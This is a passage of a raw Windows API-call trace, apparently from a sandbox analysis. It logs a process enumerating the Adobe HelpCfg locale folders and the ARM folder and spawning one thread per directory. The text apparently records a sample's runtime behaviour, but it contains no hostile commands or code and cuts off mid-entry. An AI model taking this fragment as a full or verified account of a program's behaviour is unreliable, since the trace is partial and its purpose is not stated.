RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0127.142] wcscpy (in: _Dest=0x1b868340, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.142] wcscat (in: _Dest=0x1b868340, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.142] wcscat (in: _Dest=0x1b868340, _Source="ko_KR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" [0127.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b868340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0127.143] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0127.143] wcscmp (_String1="nb_NO", _String2=".") returned 1 [0127.143] wcscmp (_String1="nb_NO", _String2="..") returned 1 [0127.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0127.143] wcscpy (in: _Dest=0x1b8697c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.143] wcscat (in: _Dest=0x1b8697c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.143] wcscat (in: _Dest=0x1b8697c0, _Source="nb_NO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" [0127.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8697c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0127.144] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0127.144] wcscmp (_String1="nl_NL", _String2=".") returned 1 [0127.144] wcscmp (_String1="nl_NL", _String2="..") returned 1 [0127.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0127.144] wcscpy (in: _Dest=0x1b868d40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.144] wcscat (in: _Dest=0x1b868d40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.144] wcscat (in: _Dest=0x1b868d40, _Source="nl_NL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" [0127.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b868d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0127.145] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0127.145] wcscmp (_String1="pl_PL", _String2=".") returned 1 [0127.145] wcscmp (_String1="pl_PL", _String2="..") returned 1 [0127.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0127.145] wcscpy (in: _Dest=0x1b869640, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.145] wcscat (in: _Dest=0x1b869640, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.145] wcscat (in: _Dest=0x1b869640, _Source="pl_PL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" [0127.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b869640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0127.146] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0127.146] wcscmp (_String1="pt_BR", _String2=".") returned 1 [0127.146] wcscmp (_String1="pt_BR", _String2="..") returned 1 [0127.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868440 [0127.146] wcscpy (in: _Dest=0x1b868440, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.146] wcscat (in: _Dest=0x1b868440, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.146] wcscat (in: _Dest=0x1b868440, _Source="pt_BR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" [0127.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b868440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0 [0127.147] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0127.147] wcscmp (_String1="ro_RO", _String2=".") returned 1 [0127.147] wcscmp (_String1="ro_RO", _String2="..") returned 1 [0127.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8682c0 [0127.147] wcscpy (in: _Dest=0x1b8682c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.147] wcscat (in: _Dest=0x1b8682c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.147] wcscat (in: _Dest=0x1b8682c0, _Source="ro_RO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" [0127.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8682c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0127.148] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0127.148] wcscmp (_String1="ru_RU", _String2=".") returned 1 [0127.148] wcscmp (_String1="ru_RU", _String2="..") returned 1 [0127.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8683c0 [0127.148] wcscpy (in: _Dest=0x1b8683c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.148] wcscat (in: _Dest=0x1b8683c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.148] wcscat (in: _Dest=0x1b8683c0, _Source="ru_RU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" [0127.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8683c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0 [0127.149] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0127.149] wcscmp (_String1="sk_SK", _String2=".") returned 1 [0127.149] wcscmp (_String1="sk_SK", _String2="..") returned 1 [0127.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0127.149] wcscpy (in: _Dest=0x1b8684c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.149] wcscat (in: _Dest=0x1b8684c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.150] wcscat (in: _Dest=0x1b8684c0, _Source="sk_SK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" [0127.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8684c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874 [0127.150] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0127.150] wcscmp (_String1="sl_SI", _String2=".") returned 1 [0127.150] wcscmp (_String1="sl_SI", _String2="..") returned 1 [0127.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868840 [0127.151] wcscpy (in: _Dest=0x1b868840, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.151] wcscat (in: _Dest=0x1b868840, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.151] wcscat (in: _Dest=0x1b868840, _Source="sl_SI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" [0127.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b868840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0127.152] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0127.152] wcscmp (_String1="sv_SE", _String2=".") returned 1 [0127.152] wcscmp (_String1="sv_SE", _String2="..") returned 1 [0127.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0127.152] wcscpy (in: _Dest=0x1b8696c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.152] wcscat (in: _Dest=0x1b8696c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.152] wcscat (in: _Dest=0x1b8696c0, _Source="sv_SE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" [0127.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8696c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c [0127.153] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1 [0127.153] wcscmp (_String1="tr_TR", _String2=".") returned 1 [0127.153] wcscmp (_String1="tr_TR", _String2="..") returned 1 [0127.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0127.153] wcscpy (in: _Dest=0x1b869c40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.153] wcscat (in: _Dest=0x1b869c40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.153] wcscat (in: _Dest=0x1b869c40, _Source="tr_TR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" [0127.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b869c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0127.154] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1 [0127.154] wcscmp (_String1="uk_UA", _String2=".") returned 1 [0127.154] wcscmp (_String1="uk_UA", _String2="..") returned 1 [0127.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0127.154] wcscpy (in: _Dest=0x1b8694c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.154] wcscat (in: _Dest=0x1b8694c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.154] wcscat (in: _Dest=0x1b8694c0, _Source="uk_UA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" [0127.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8694c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0127.155] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0127.155] wcscmp (_String1="zh_CN", _String2=".") returned 1 [0127.155] wcscmp (_String1="zh_CN", _String2="..") returned 1 [0127.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504d90 [0127.156] wcscpy (in: _Dest=0x20504d90, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.156] wcscat (in: _Dest=0x20504d90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.156] wcscat (in: _Dest=0x20504d90, _Source="zh_CN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" [0127.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20504d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0127.156] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0127.156] wcscmp (_String1="zh_TW", _String2=".") returned 1 [0127.156] wcscmp (_String1="zh_TW", _String2="..") returned 1 [0127.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504d10 [0127.157] wcscpy (in: _Dest=0x20504d10, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.157] wcscat (in: _Dest=0x20504d10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.157] wcscat (in: _Dest=0x20504d10, _Source="zh_TW" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" [0127.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20504d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844 [0127.158] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0127.158] FindClose (in: hFindFile=0x1cd9c430 | out: hFindFile=0x1cd9c430) returned 1 [0127.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ebc0) returned 1 [0127.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced95c0) returned 1 [0127.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2590) returned 1 Thread: id = 1033 os_tid = 0x16c8 [0110.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced92b0 [0110.294] wcscpy (in: _Dest=0x1ced92b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0110.294] wcscat (in: _Dest=0x1ced92b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\" [0110.294] wcscat (in: _Dest=0x1ced92b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*" [0110.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1fa60 [0110.294] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*", lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c4f0 [0110.301] wcscmp (_String1=".", _String2=".") returned 0 [0110.301] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.301] wcscmp (_String1="..", _String2=".") returned 1 [0110.301] wcscmp (_String1="..", _String2="..") returned 0 [0110.301] FindNextFileW (in: hFindFile=0x1cd9c4f0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0110.301] wcscmp (_String1="1.0", _String2=".") returned 1 [0110.301] wcscmp (_String1="1.0", _String2="..") returned 